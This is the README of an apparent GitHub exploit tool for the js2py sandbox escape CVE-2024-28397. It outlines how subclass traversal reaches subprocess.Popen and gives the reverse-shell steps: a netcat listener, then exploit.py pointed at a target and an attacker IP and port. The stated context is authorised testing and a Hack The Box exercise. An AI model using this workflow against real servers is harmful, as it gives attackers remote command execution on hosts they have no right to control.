l1337xi/cve-2024-28397-exploit-automationA Python automation script for exploiting the **js2py Sandbox Escape** vulnerability (CVE-2024-28397). This tool automates the payload generation and delivery process to achieve Remote Code Execution (RCE) on vulnerable instances.
A Python automation script for exploiting the js2py Sandbox Escape vulnerability (CVE-2024-28397). This tool automates the payload generation and delivery process to achieve Remote Code Execution (RCE) on vulnerable instances.
⚠️ Legal Disclaimer Usage of this tool for attacking targets without prior mutual consent is illegal. This repository is for educational purposes only. The author is not responsible for any misuse of this information. This tool is intended to be used in authorized security assessments and Capture The Flag (CTF) environments.
CVE-2024-28397 affects the js2py library (versions < 0.74). The library fails to properly isolate the JavaScript environment from the host Python environment.
__class__ and __subclasses__ attributes.subprocess.Popen, allowing for arbitrary command execution on the host server.pip install requests
Start your Netcat Listener :
nc -lvnp 1337
Run the Script :
python3 exploit.py -u <target url> -i <attacker ip> -p <attacker port>
Here is the tool in action against a vulnerable target (Hack The Box - CodeTwo):
Running the exploit to generate the payload and trigger the callback:
Receiving the reverse shell on the listener:
